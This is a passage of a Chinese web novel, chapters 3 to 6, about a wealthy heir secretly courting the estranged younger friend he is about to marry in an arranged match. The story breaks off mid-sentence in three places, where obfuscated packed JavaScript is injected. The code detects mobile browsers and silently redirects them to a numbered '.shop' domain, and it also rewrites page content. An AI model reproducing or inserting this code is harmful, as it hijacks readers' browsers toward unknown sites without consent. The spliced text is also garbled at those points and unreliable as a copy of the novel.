《所有人都在盼着我们离婚》 3. 第三章 明栖深出现在拍卖会上,着实让人意外,引起了一阵不小的骚动。 毕竟这只是一个小型拍卖会,拍卖的东西也都是一些没有什么名气的小玩意儿,没有任何值得这位太子爷露面的地方。 没有人跟他竞价,他轻松拍下了两件东西:一个十八世纪欧洲八音盒,做成了古堡样式,打开后会有几名芭蕾舞者随音乐起舞;一个纯欧珀打造的乳白色圆杯,雕刻着人鱼海浪,没有任何着色,在灯光下会折射出奇异瑰丽的色彩,如同人鱼的鳞片。 这些东西没什么名气,不算多贵重,但胜在新奇别致,适合送人赏玩,明栖深大概是要给什么人送礼物。 不,不是大概,根据最近的传闻和诡计,明栖深真的要送礼。 明栖深很少去纯娱乐型公共场合,直到上周,他出现在港湾嘉士利拍卖会上,以2.5亿的高价拍下了一枚胸针,才掀起了一番浪潮。 那是一枚燕子型胸针,由一颗鸽血红和四颗小些的皇室蓝组成燕子主体,周围镶嵌着许多碎钻,出自十九世纪珠宝大师洛卡之手,洛卡将其命名为“快乐王子”,打造出来不久后,便因为抑郁与世长辞了。于是就有许多不好的传言落在它上面,很长一段时间,它都被认为会招来不幸和厄运。 有钱人大多信吉凶,就算沉寂多年,也没有多少人会想拥有这样一件藏品。原本这枚胸针的预估价最多千万,可它幸运地遇到了两个有缘人,一个是明栖深,一个是位海外富商,俩人不断竞价,明栖深眉头都没皱一下,一直平静地加着价,到了2.5亿的时候,对方似乎觉得超出了预算,才不情不愿地停了。 足足翻了二十倍,一跃成为当天最贵的藏品,所得者更是明家新的掌权人,足够衍生出八百种猜测了。 拍卖会结束后,海外富商忍不住来跟明栖深交谈:“它的名声可不大好,怎么,你不怕被厄运缠上?为什么这么想要?” “我不信鬼神。”明栖深道,“我只是觉得,它很漂亮,而且,我喜欢它的名字。” 对方意味深长道:“快乐王子的结局可不快乐啊。” 明栖深道:“现在不一样了。” 他留下一句晦暗不明的话,没有反问对方为什么执着,只礼貌性点点头,随即离开了会场。 他的行程不算严格保密,没过几天,就有记者挖出他最近出入的公共场所,发现他买了不少东西,有珠宝,有古董藏品,价格不一,但都是精巧的摆件装饰,他平日并不热衷这些,大概率是送人的。 送什么人呢? 明栖深身边的人不多,除了家人就是相识许久的朋友,想要接近他的美人络绎不绝,可惜没有谁能让他多看一眼,于感情上至今是零传闻——甚至夸张点说,他身边唯一来往密切的女性,是他的母亲。 倘若说高价拍下的珠宝是为了讨母亲欢心,那路过商场时无意相中后买下的男士手链就昭示了并非如此,他要送的,是一个男人,一个年轻男人。 从这样密集的购物来看,毫无疑问,他最近在热烈追求着一位年轻男性,不吝千金博一笑。 这着实是一个大新闻,娱乐八卦小报不敢报道,但传言已经到处飞了,却怎么都猜不出这个人是谁,私下问身边的人,也没能透露出半点,只能说明栖深把人保护得太好。 相较于八卦,更多人考虑的是利益,客观来说,明栖深是个很难搞定的人,滑雪、马术、牌酒,他都会玩一些,却未曾对哪一样热衷,想通过喜好来接近讨好他,难如登天,如今总算是有了方向。 太子爷身边不可能一辈子只会有一个人,有了第一个,就会有第二个,第三个,年轻漂亮有才华的男孩子太多了,总有能入眼的。 能搭上明栖深,才是真正的飞黄腾达。 上午的拍卖会结束后,明栖深准备去吃饭,陪他一同来拍卖会的有两个人,一个是他自幼的发小温柯丞,一个是留学时期认识的宁思栩,中午是宁思栩做东,请了另外两个人作陪。 想见明栖深一面很难,进他的饭局更难,但他对朋友一向很好,基本上不会拒绝。 吃饭自然不单单是吃饭,一个饭局就是一笔生意,宁思栩毫不遮掩地坦白作陪的人有意的项目,审核过之后,明栖深觉得不介意,就答应了。 作陪的俩人平常是没有见明栖深的机会的,蓦然天上掉大饼,都分外紧张,但始终牢记自己的任务,陪明栖深从拍卖会出来后,便开始夸赞他的眼光,以及这两件藏品的精美脱俗。 跟其他的继承人不一样,明栖深并不高高在上,喜怒不形于色,相反,他是一个幽默风趣、甚至称得上随和的人,跟谁交谈时都含着笑,让人身心都倍感舒适,时常让人忘记他的身份地位,虽然这跟他的真正行为大不相符。 他实在太年轻了,才二十五岁,年轻到刚掌权时,阴谋论层出不穷,猜测是不是明家家族内斗,或者明维栋患上绝症,才不得已匆匆交权给这个独子,于是挑衅的、想咬块肉分杯羹的,蜂拥而上,他就是带着这样的笑,把那些拦路的一一收拾干净了,狠厉决绝到才小半年时间,就几乎不再有质疑的声音冒出。 一边笑一边捅刀才是最可怕的。 明栖深最近都是心不在焉兴致缺缺的模样,但也没有吝惜交谈,在会场去往车库的路上,作陪的其中一人便从八音盒上的芭蕾舞者说起自己的侄子,也是学芭蕾的,好几年没见了,上个月见了一眼,十分惊艳,舞也跳的好,现在在京舞读大三。 他极力夸赞着自己的侄子,心思昭然若揭,另一个显然不满起来,道:“那是你太浅薄,没有见过真正的美人,我去年有幸见过一眼凌家公子,那才是真正的美人啊,见过了他,什么明星模特名流,都俗不可耐,索然无味。” 原本还在一旁无声嗤笑的温柯丞倏然变了脸色,下意识望向了明栖深。 明栖深的笑容果然淡了下去。 第一个人面上流出轻视之意:“我也听说过那位公子,幼时被捧上天,说是什么舞蹈天才,可惜长大后就原形毕露了,近些年也没听到什么成就,只有美貌,其他空空,不过是个没用的花瓶罢了。我侄子可是要进国家舞团的……” 他蓦然噤声,因为明栖深停住了脚步,目光凝在了他脸上。 明栖深的唇角依然有一点弧度,只是这笑意不再有半分温度,他有一双极其漂亮的桃花眼,眼眸很黑,很深,平日弯起时分外多情,像润着水的珠子,此时没有含笑,便显出锋芒,敛成凛冬里浸了雪的刀,让人胆寒。 被注视的人顿时大脑一片空白。 明栖深声音变得很淡,不紧不慢道:“凌含真从会走路起就开始接触芭蕾,各种奖项拿到手软,没有一次不是冠军。只要他上场,就不会拿第二。他十一岁时确实沉寂了两年,但恢复训练后,十五岁时就在华塔诺国际大赛少年组中得了第一,这张国际大奖敲门砖可以让他进入世界上任意一所舞蹈学院,可惜他不喜欢陌生的地方,拒绝了各种邀约,同时对自己的文化课不满意,又继续学文化课,去年以第一的成绩上了京舞,他就是名副其实的天才。”他讥讽一笑,“你说他是花瓶,那你算什么?痰盂?” 他说完,没管停滞的众人,独自往前走去,轻飘飘丢下一句:“不吃了,回家。” 温柯丞想追上去,走了两步又退回来,长长叹了口气,不由责备地瞥了宁思栩一眼。 宁思栩怔怔看着明栖深的背影出神,不知在想什么,察觉到温柯丞的目光后,回过神来,露出愧疚的表情:“是我的不是,我真的没想到他们竟然……唉,算了,我回头跟栖深好好道个歉。” 明栖深很给人面子,从不在公共场合给人难堪,他还是头一遭见到明栖深如此直白地怼人。 对方明显真生气了,而且不是一般的生气。 这让他十分意外,事情比他想象的似乎还要严重。 “确实要好好跟他道歉。”温柯丞严肃道,“你又不是不知道,那位是他最大的忌讳,半点都不要提,外人都知道避着呢,你怎么……也不知道交代一下。” 宁思栩认错态度诚恳,让他也不好说太多,只能道:“算了,我不管了,你自己收场吧。” 宁思栩道:“好。” 他犹豫了一下,叫住温柯丞:“我还是好奇,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092586|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么提都不能提?我以前以为是有过节,可刚才看,好像不是过节?栖深挺护着他的?” 他后来才认识明栖深,跟发小的情谊是不一样的,也因此有许多事无法了解到。 温柯丞道:“肯定护啊,小时候就惯得不像话,分开了也是心头肉,哪能受得了别人在他面前说坏话。” 宁思栩惊讶道:“那怎么就成忌讳了?” 温柯丞露出忧愁的神色,又叹了口气:“吵架了呗,吵可凶了,但是也……” 他猛然顿住,抿紧嘴巴,片刻后才踌躇道:“这事儿吧,哥几个其实都不清楚,我估计,就是他自己都看不懂自己。” 他记得很清楚,俩人最后一次见面已经非常久远了,那时明栖深也才十六岁,凌含真更是才十一,说是吵架,其实是明栖深单方面的训斥,训完之后,明栖深还是会给人擦眼泪。 这种情况不是第一次,凌含真被惯得无法无天,家里全都顺着他,只有明栖深能说他两句。他看见过几次,明栖深把小孩拉到角落里教育,凌含真在其面前倒是听话,只低头乖乖挨训,甚至会道歉改正,态度良好,没过几天就又能和好如初。 吵架,冷战,和好,如此循环往复,他们这些看客都习惯了,只是最后一回不但凌含真被训斥,连他们几个始作俑者也挨了好一通骂,他第一次见明栖深发那么大火,说小孩子不懂事就算了,怎么大的也跟着闹。 事实上,他们都觉得那并不是什么能让人老死不相往来的大事,更何况凌含真是个会认错改正的小孩,按照常理,冷战一段时间也就过去了,可天命无常,就在冷战的期间,凌含真家里出了事,沉寂了很久,再后来明栖深出国留学,一别就是好几年,距离太远,更是没了往来。 时间是最温柔也是最残忍的刽子手,在不知不觉中把一切分离瓦解,让人在某一天突然醒悟时,却发现再也回不去了。 就像人生的每个阶段都会有不同的朋友,有了新的,就自然而然淡了旧的,从前再亲密的关系,也会被时间和距离慢慢磨平,越拉越远。 一开始也没人知道是忌讳,是十八岁他们刚留学那会儿,无意中谈起了凌含真的近况,想要关心一下,明栖深的脸却突然冷了下来,生硬且漠然地把话题岔开。 态度太明显了,从那以后,就无人再提及了,而后流言更盛,传开后,到了明栖深极度厌恶对方的地步,外人也都是聪明人,不会在明栖深面前触这个霉头,以至于凌含真这个名字在他们的世界里很快隐没,沉入海底。 温柯丞收回思绪,不放心叮嘱:“总之,夸也不行,骂也不行,不要提,让这个人不存在,就是最稳妥的。”他不愿意再透露一个字,神情恹恹,“我也回去了,你过两天再去找他吧。” 宁思栩“嗯”了一声,目送他离开,等他的车开出去后,才收回审视的目光,望向被吓得脸色煞白的两个人,温和道:“没事了,回去吧。” 二人如释重负,忙不迭离开,只留下宁思栩一个人静默在原地。 这顿饭能不能吃到,项目能不能碰到,都不重要,这俩人以后应该是不会再在明栖深面前露脸了,他自会补偿损失,这俩人只是他找来的一个试探。 明栖深最近的行为确实很反常,可除了买礼物外再无其他,更没有那个传说中的年轻男生,他在圈里旁敲侧击,没打听出任何消息,思来想去,有了怀疑对象,便找了两个人验证自己的猜测。 这个圈子的划分说复杂也不复杂,贪图享乐的纨绔分为一类,不搞事也不出彩的平庸之辈分为一类,有话语权做实事的精英分为一类,而明栖深在哪里都是中心,自成一圈,能融进去的少之又少,他认识对方几年,也算是相熟的朋友,然而到现在,甚至还没有对方的私人电话号码。 他对明栖深的了解太少了,越是如此,越想要窥探更多。 情况完全出乎他的意料,让他烦躁不已,连温柯丞这种嘴上没把门的人都守口如瓶,他一时间根本不知道要如何打探更多了。 可他费尽心机的试探竟然没有任何意义,因为没过多久,财经新闻上就报道明栖深联姻的消息了。 4. 第四章 下午,明栖深独自开车前往心理诊所。 何杉既是他的朋友,也是他的心理医生,俩人自幼认识,只是何杉志不在商界,学了最感兴趣的心理,虽然二人由此来往减少,但情谊未变。 留学那会他已经意识到了自己出现了心理问题,于是主动找到对方,询问能不能通过药物等方式进行治疗,但并不愿意透露自己的症结所在。可惜十八岁的明栖深还比较纯粹,没有太多商人的弯弯绕绕,何杉比他大三岁,又太了解他,没费多少功夫就套出了话,分析出了问题。 凌含真就像是一个不大不小的结,不轻不重堵在他心口,平日不会造成太大影响,却分外敏感,慢慢积郁成疾。 何杉认为情况不算严重,不需要药物治疗,他的建议时,等明栖深毕业回国,再去找人重新来往,届时两个人都已经长大,看问题会成熟许多,心结会自然而然解开。毕竟分开的时候年纪太小了,少年时代的爱恨又太简单,一句话、一个动作、一次短暂的分离,都能变成刀割裂此生。 对于这个建议,明栖深没有接受,也没有拒绝,只以消极的态度压了下去,让凌含真淡出了自己的生活,而后更是不再谈及此事,这次专程而来,何杉虽然惊讶,但也很快了然。 “已经很久没见你情绪波动这么大了。”何杉检查完,仔细打量他,“怎么,见到人了?” 明栖深靠在椅背上,双手搭着扶手,是一个随意放松的姿势,眼眸低垂,神情却是外人面前不曾有过的疲惫和烦躁:“没见到,就是听人提到了。” “那就是准备见。”何杉笃定道,随即笑起来,“我可是听说,你最近在热烈追求一个小男生。” 明栖深从喉咙里闷出一声“嗯”。 “能想通就好,再怎么说也是你带大的弟弟,外面再怎么传,都是捕风捉影,我之前见过一次,人孩子安安静静的,谁也不搭理,高冷着呢,不像个嚣张跋扈的。”何杉欣慰道,“兄弟间哪有那么大仇,这么多年也该散了,你是哥哥,应该主动点——准备怎么见?” 明栖深微微仰头,阖起眼,手背覆在额上,既像是放弃了挣扎的颓废,又像是得到解脱的轻松。 “我打算……跟他结婚。” “……啊?!” *** 婚事确定下来后,凌含真有种荒谬的不真实感,怎么想怎么都觉得草率儿戏,可是长辈都是一副理所当然的样子,从定下那一天起,就开始紧锣密鼓准备着。因为一直把他当孩子看,宋雨溪没有让他操心半点,只在电话里问他什么时候想公开、想要高调点还是低调点等等需要他意见的问题,并约了他这周末去挑婚房,虽然他表示什么样的都行,没有特别的偏好,但对方一定要他选个最中意的。 也正因如此,他才没有真实感,但除此之外最重要的原因,是他没有听到一点关于明栖深的消息,一直是宋雨溪在跟他交流讨论,他不知道明栖深的看法和意见,没有跟对方见过面,他们之间甚至连一通电话都没有。 从头到尾,都是别人的狂欢,他们这两个局内人,反而成为了冷漠旁观的局外人。 白日忧郁,连带夜里也睡不好,他做了许多没有色彩的梦,梦里全是小时候的事,一个个杂乱无章的碎片,如同灰暗的雨天,被堵在逼仄的旧巷子里,压抑得喘不过气来,让他每隔一个小时就会惊醒一次,一晚上被搅得不得安宁,严重影响了第二天的效率,一连几天都是如此,让他身心俱疲。 他梦到了无数次少年时代的明栖深。 他太多年没见过明栖深了,能记得的,只有对方少年时的模样。 一开始,他还会眼巴巴地找宋雨溪问明栖深的消息,要照片和视频,等再大一些,明白对方对自己的厌恶后,他就没有再做过这样的傻事了,宋雨溪主动跟他聊明栖深时,他也刻意回避着,久而久之,宋雨溪察觉到他的态度,也就不再提了。 人总是会下意识逃避让自己痛苦的东西。 相较于他的愁绪万千,他的朋友反倒兴奋不已,这几天群里的消息都是几百条,热切地为他的婚事提出了许多没用的建议。 每天他一露面,司浔问他的第一句话必然是:【你跟明七见面了吗?】 他的回答一成不变且简短:【没有】 这个话题就会结束。 可今天对方似乎异常激动,例行问话完后,又继续问:【他也没送东西给你?】 凌含真很奇怪:【没有啊,都没有见面怎么送东西给我】 鱼鱼:【叹气.jpg算了,可能要等结完婚再送吧】 凌含真更加疑惑:【怎么了?】 鱼鱼:【没什么,就是刚听到一个八卦消息,昨天有个败家子富二代,在拍卖会上花了3.5亿拍了件胸针,追求小情人。就想起明七了,你们都要结婚了,他好歹得有点表示吧】 他跟谢奕清都算得上精英一层,得到消息的速度比另外几个要快得多。 凌含真不看财经新闻,更不看娱乐八卦小报,感慨:【可真有钱啊】 这么奢靡放荡的纨绔他肯定不认识,也没兴趣了解,于是只是感慨一下,没有问是谁。 许聆跟着复制:【可真有钱啊】 本群唯一直男:【别说3.5个亿,就算去掉一个0,我拿去送小情人,我全家都会把我一顿毒打】 卷卷:【别担心我的孩子,不会有小情人跟你】 本群唯一直男:【?我这么正直纯情的大好青年也不会找!】 豆豆:【小马怎么回事,大家都老老实实用叠字,就你搞特殊?】 本群唯一直男:【这是一个直男最后的倔强】 卷卷:【那你退群吧,看看群名呢】 凌含真插.,入了几张图片:【卷卷之前让我看的先婚后爱书单我看了十本,囫囵吞枣读的,但感觉大体都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092587|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多。我写了一点总结和感悟,大致分为了三类,卷卷看看还有要补充的吗?】 许聆查看那几张图片,是凌含真这几天做的笔记,全是密集又整齐的手写,把看过的每本书的大致剧情一一分列出来,总结了它们之间的相同点,再配上自己的感想,条理清晰,精准扼要。 他钦佩不已:【不愧是你,这都要做笔记。不过确实都差不多,先婚后爱就这些套路。】 真真:【那我觉得对我没有什么帮助。就比如第一条,主角受是个温柔贤惠的人,因为是私生子,比较自卑,每天就默默在家做饭等攻回家,攻一开始很讨厌他,但是久而久之发现他是个真诚温柔的人,日久生情he了。如果我洗手作羹汤,天天卑微等他回家吃饭等到半夜十二点,他一定会觉得我脑子坏掉了,或者被魂穿了。】 卷卷:【……好像是这个道理】 真真:【最重要的是,他们都是婚前不认识的,跟我的情况相差很大。】 卷卷:【我懂了,你应该看破镜重圆和先婚后爱!】 卷卷:【分享书单:七十二本破镜重圆+先婚后爱!分手多年后被迫跟前任联姻是什么体验(打开app查看全部书籍,缠绵悱恻的爱情故事,尽在小江文学城)】 卷卷:【你看,这本这本,《被迫和前任结婚后离不掉了》,学生时代热恋,误会分手,成年后家族联姻,不得已复合结婚,外人都以为他们不熟,实际上早就爱得死去活来!这不一模一样嘛!】 真真:【那也不对,破镜重圆了就说明爱过,破镜重圆是夫妻,我们顶多算兄弟久别重逢,也没爱过】 卷卷:【兄弟怎么了?兄弟就是夫妻,怎么不算破镜重圆了?你那会要死要活的怎么没爱过了?】 卷卷:【分享书单:五十六本必读伪兄弟!破镜重圆!虐恋情深!不可错过!比竹马亲密,比骨科有距离,伪兄弟,永远别有一番风味!】 卷卷:【好好读,等把这些看完,你一定就能应付自如了】 鱼鱼:【真宝别信他的,里面这本《被全网黑后我退出娱乐圈被迫和前任联姻成为职业中单又重新爆火》我看过,看了几章就觉得很离谱,主角是个明星,因为被全网黑干不下去了,回家结婚后无所事事开始打游戏,被发现是个游戏天才,又去打职业了。不是你要是20岁我就不说什么了,你都26了,别人都要退役了你才开始打,哪有这样的?!等着,我给你找点靠谱的】 铭铭:【这题我会!他玩的应该是基侠情缘键盘版三,在我们基键三,三十一岁正是当打的年纪,二十六岁的电竞选手,那简直是横空出世的天才少年啊!】 一阵寂静。 过了五分钟,只有凌含真回复他;【不愧是铜标孙膑,没放大招就能把大家沉默这么久。】 赵言铭欣然接受了他的赞美,并问他什么时候能带自己拿个银标,他表示起码等忙完结婚再说。 5.第五章 周四中午,明栖深照例回家陪父母吃饭。 入了夏,天气却不大好,最近几日都是阴天,乌云悬在低空,下不来散不去,憋闷得紧。明维栋在檐下逗弄自己养的雀儿,忽然听鹦鹉扯着嗓子尖声喊:“七仔!七仔!” 随即便听见明栖深不满的声音在身后响起:“老帅哥,能不能教点别的,这么多年了还这么叫。” “帅哥就帅哥,什么老帅哥,你小子会不会说话。”明维栋逗着鸟,头也不回埋怨,“上次我跟你妈去霖湾度假,还有人问我们是不是来度蜜月的,我还没好意思说儿子都工作了,就说儿子都上大学了。” 他们夫妻俩的确相貌出众,乍眼看不出岁月的痕迹,明栖深更是捡着两个人的优点长。 “那可不是。”明栖深微哂,“您亲儿子确实刚上大学。” 他的语气轻松,似是调侃,明维栋只当是在开玩笑,便揶揄道:“是不是我亲儿子不知道,反正快是你亲媳妇了。无事不登三宝殿,说吧,要你爹干什么活?”说完又不放心道,“我今晚可是约了王哥一起上分的,别耽误了我的正事。” 明栖深知道他们俩口子退休后经常跟一个叫“王哥”的玩一款国民游戏大王小耀,然而他们亲近些的社交圈中并没有姓王的,他一直不知道这个“王哥”是什么人,但中年人的社交他无权干涉,于是一直没有在意,只道:“你亲家那边的问题,帮我看一下,我忙不过来了。” 明维栋的肿瘤手术虽然过程惊险但好在结果不错,休养了半年也恢复得很好,是时候露个脸了,凌家的问题不会太操劳,由他处理可以打破不少流言,再合适不过。 “得了吧。”明维栋嘲笑,“忙花钱?现在谁不知道你在追小男生呢。”他压低声音,凑近对方,“追怎么样了?咱七哥不会到现在连小男生的面都没见到吧?怎么,不敢啊?这么胆小可不像你啊。” 明栖深笑了笑,一时间竟不知道怎么答,幸好这时宋雨溪从门里出来叫他们:“爷俩儿说什么悄悄话呢?洗手吃点心了。” “不吃了。”明栖深回她,同时转身往院里走,“下午还要开会。” “那妈妈给你装点儿,你路上吃。”宋雨溪叫住他,“这可是妈妈亲手做的,来看看吃什么。” 明栖深不想扫她的兴,于是应了,跟着她进屋。 客厅桌上摆满了各式西点,宋雨溪让女佣拿了个点心盒,每样都给他捡两件,一边闲聊:“婚房也应该准备了,我琢磨着家里有的都不错,不过还是得你俩自己去挑,要是都不喜欢,就再买新的。” “让他挑吧,他喜欢的就行,我最近真没空。”明栖深垂眼看桌上的吃食,顿了顿,眉头微拧,沉默片刻后清了清嗓子,语气有几分不自在,“梧桐庄园那儿……还有套。” 这个委婉的提醒让宋雨溪忍俊不禁,手里动作也停下,掀起眼帘瞧他:“哟,不藏啦?还以为你要留给谁的呢。” “这么多够了。”明栖深好像没听到,只抽走她手中的点心盒,随意扬了扬,迈步往外走,“走了啊,晚上不回来吃了。” “怎么晚上又不回来了?”宋雨溪追到院子里又停下,目送他的背影消失,然后扭头对走过来的明维栋吐槽,“俩死倔,没一个肯让步的。” *** 周六上午,凌含真按照约定和宋雨溪去选婚房。 他跟宋雨溪一直有往来,但仅限于网络通讯,以及逢年过节时寄礼物,真正见面的次数极少,上一次见面甚至还是去年,让他觉得十分愧疚,于是有些腼腆地叫了声“阿姨”。 宋雨溪佯装嗔怪,叹气:“现在连干妈都不叫了。” 凌含真笑笑:“我已经长大了。” “再大也是孩子,在我眼里,你跟深深永远都是小宝贝。”宋雨溪用手比划着小人,又笑逐颜开,“再说了,以后就是真正的一家人了,再叫阿姨我可不认的。” 说话间俩人上了车,宋雨溪贴心问:“带眼罩了么?没有的话我给你准备了,不远,二十分钟就到了。” 凌含真点头,从书包里拿出眼罩和耳机,犹豫了一下才戴好。 车开得很稳,柔和的轻音乐在他脑海中缓缓流淌,他的情绪却始终得不到安抚,一直处于焦虑和紧张之中,心跳快速而杂乱,他甚至不知道自己在紧张什么,或者说……在期待什么。 约莫换了四五首音乐,车缓缓停了下来,他察觉到有人轻轻拍了拍他的手,便取下眼罩和耳机。 长时间处于黑暗中的眼睛刚接触到光线尚且有些模糊,凌含真下车后眨了好几下眼,视野才清晰起来。 昨夜刚下过雨,入眼皆是吐着新绿的繁茂植被,被洗得干净可爱,犹且挂着露珠,只可惜天始终是铅灰色,使得万物都蒙着一层阴翳,黯淡而沉闷。 “最近天气也不知道怎么了,就没见过几次太阳,闷闷的,搞得人心情都不好了。”宋雨溪抱怨了一句天气,又扭头问他些闲话,“考完试了吗?什么时候放暑假?我找人算了日历,八月二十号是个好日子,适合订婚,你觉得怎么样?不过结婚的日子很难选,估计得到明年了,正好多准备准备。” “都行。”凌含真没有意见,按部就班回答她的问题,“下周三考完,周五下午有个校级演出,跳完就正式放假了。” 他停下脚步,从里面摸出两张票,递到宋雨溪面前,眉眼微弯:“票。” 宋雨溪笑吟吟接过:“就两张啊?不给哥哥一张?” 凌含真愣了一下,不自在地垂下眼睫,声音也放轻了:“他……应该很忙。” “他最近确实很忙。”宋雨溪想了想,“不过最近肯定会联系你的。”她凑近凌含真,悄声道,“太久没见了,哥哥也害羞呢。” 凌含真震惊地睁大了眼睛望向她,怎么也无法把印象中的明栖深跟“害羞”这个词联系在一起,只当她戴了亲妈滤镜,闷闷“嗯”了一声,一时间不知道该怎么接话了。 正好转过弯,俨然是另一个天地,被植被巧妙掩映起来的,是大片大片的白玫瑰花园,中间簇拥着一条鹅卵石小路,小路尽头连接着一座巨大的喷泉,主体雕塑是一位弯弓射箭的少年王子,辅以一圈幼年王子,俱是不同形态。 花园后是别墅的主体,修建成巴洛克风格的白色城堡,兼之浅金装饰,华丽而繁复。 凌含真的脚步忽然有些僵硬,大脑几乎一片空白。 不算一模一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094158|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但也……太像了,应该不会有这样的巧合吧。 宋雨溪没有察觉到他的异样,沿着小路悠闲走着,一边给他介绍:“这个房子我一眼就相中了,细节做得特别好,看到了吗?我手指那里,花园里藏着的小雕塑,都是戴王冠的小孩在玩耍,有好多个呢,也不知道是哪家小王子的城堡。” 凌含真只觉她的声音忽远忽近,像雾一样缥缈,而自己的心跳太快太剧烈,以至于呼吸困难,甚至听不清她在说什么。 终于,在走近喷泉前,宋雨溪发现了他的异常,连忙停住,握住了他的手,担忧地问他:“怎么了真真?哪里不舒服么?” 凌含真摇摇头,望着她的眼睛,胸腔中情绪翻涌如潮,有许许多多话想要问她,却不知道该从哪里问起。 他清晰地记得,在他十岁生日的时候,明栖深送给他的生日礼物是一座私人订制的城堡模型,除了建筑主体有些许区别之外,巴洛克的华丽风格,小王子的喷泉,白玫瑰花园,花园里隐藏着的、象征着他成长过程的雕塑,都和这座房子,一模一样。 “每个小王子都应该有自己的城堡。”明栖深当时是这么告诉他的,他甚至记得对方当时含笑脸上的每一个细节,尤其是那双漆黑发亮的眼眸。 他爱不释手,喜欢得不行,但毕竟骄纵惯了,在明栖深面前再满意也要挑出点不满意的地方:“可它到底是个模型玩具,又不是真的城堡。” 明栖深不在意道:“等你长大了再送你个真的。” 他从未想过,昔年一句无心之语,竟然真的被对方记着,甚至在十年后实现,更何况……还是在他们的关系早已冰封蒙尘的情况下。 他怔怔看着宋雨溪,终于抽离出些许冷静,勉强开口“这个房子,是小……”又猛然顿住,小心翼翼换了个问法试探,“是谁买的?” “前几年,你哥上完学刚回来的时候,我想着你以后上大学了,肯定要上京舞的,可大学都要住宿舍,你从小到大哪儿住过什么宿舍啊,肯定不愿意跟陌生人一起住,我就打算给你在附近买套房,饭桌上说起这件事时,你哥竟然说要跟我一起看看,这里的房子我也来看了,觉得太空旷,你一个人上学住,还是得方便点,最后还是买了学校附近的平层。” 宋雨溪声音温和,却并没有直接说是谁,而是娓娓道起往事,说到这里不由莞尔:“谁知道那小子看上了,跟人问来问去的,当时我就觉得不对,果然他不想告诉我们,打算偷偷用自己的私房钱买,结果钱不够,只能去跟他爸借,还打了借条,这才暴露出来,装修设计,都一一亲自过问,可上心了。问他给谁买的,他就说自己住,可他自己有房子啊。装修完来都不来,只让人照看着,好像根本没买过似的。直到前几天,我说要带你挑婚房,他才松口说把这套也给你瞧瞧。” 她说的每个字都重似千钧,沉沉砸在凌含真心上,砸得他心口生疼,以至于他的视线愈发模糊,什么都看不清,脸上湿漉漉的全是水,风吹过时,一片冰凉。 他听见闷雷撕裂天空阴翳的声音,听见雨滴敲在花园里的啪嗒声,听见宋雨溪极轻的一句话。 “真真,哥哥心里,一直装着你呢。” 终于下雨了。 6.第六章 周日下午,凌含真请许聆去甜品店吃下午茶,让对方看看自己的笔记有没有需要补充的地方,赵言铭不看小说,但想和他们一起玩,也跟来了。 凌含真自己面前只有一杯矿泉水,低头翻看许聆送给他的一本画册集,屋外又在下雨,淅淅沥沥的雨声伴着甜品店舒缓的粤语歌,本该颇有安抚的效果,落在他耳朵里却是杂乱无章的鼓点,把他心里装着的事都挖了出来,搅得一团糟,以至于他根本不知道自己在看什么,视线也不知什么时候已经从画册移到透明的落地窗外,看见细雨如银针密密匝匝从天而降,在地上淌出一条条细小的河流。 天还是阴着,什么时候才能出太阳呢? 等那俩人差不多吃饱喝足,满脸惬意,他才收回思绪,将自己的笔记递给许聆,开始反馈自己的学习成果:“纯先婚后爱我没有看了,现在在看破镜重圆加先婚后爱,不过这几天很忙,只看了两本,一本的受被攻耽误没有去考大学,我接受不了,就弃了。一本是很多人推荐的《被迫和前任结婚后离不掉了》,确实很不错,我把这一本的情节以及人物的心里转变都整理了一下。” “对吧对吧?我就跟你说包好看的,还很贴合实际情况。”许聆很高兴他们英雄所见略同,“这可是我最喜欢的作者苟谢的最新力作,过段时间就会出版了,到时候我们一起抢特签。你以前只喜欢看那些玄幻的,错过太多了。” 凌含真点头,正要说话,忽然手机响了,他瞥了一眼,是个异地的陌生电话。 他从来不接陌生号码,毕竟需要联系的人都是互相存过电话的,他这个阶段还没有到需要私人号码保护的程度,陌生号码基本都是广告和诈骗。放在以前,他会毫不犹豫地挂断,可现在却踌躇了起来。 宋雨溪说明栖深会在他放暑假前联系他,会是明栖深吗? 一想到有这种可能,他就不由自主紧张,一颗心被提到了嗓子眼里,堵得说不出一个字。 “手机响了你怎么不接啊?”赵言铭奇怪地看了一眼,“陌生来电?估计是广告,我帮你接。” 他自作主张拿过手机滑了接听,凌含真根本没反应过来,抬头望向他,瞳孔微张,呼吸都几乎要停止了。 “什么旗舰店的,叫你买东西。”赵言铭帮他挂了电话,“我就说,要放暑假了,你买过东西的商家都铆足了劲要赚你钱呢,最近这种广告电话特别多。” 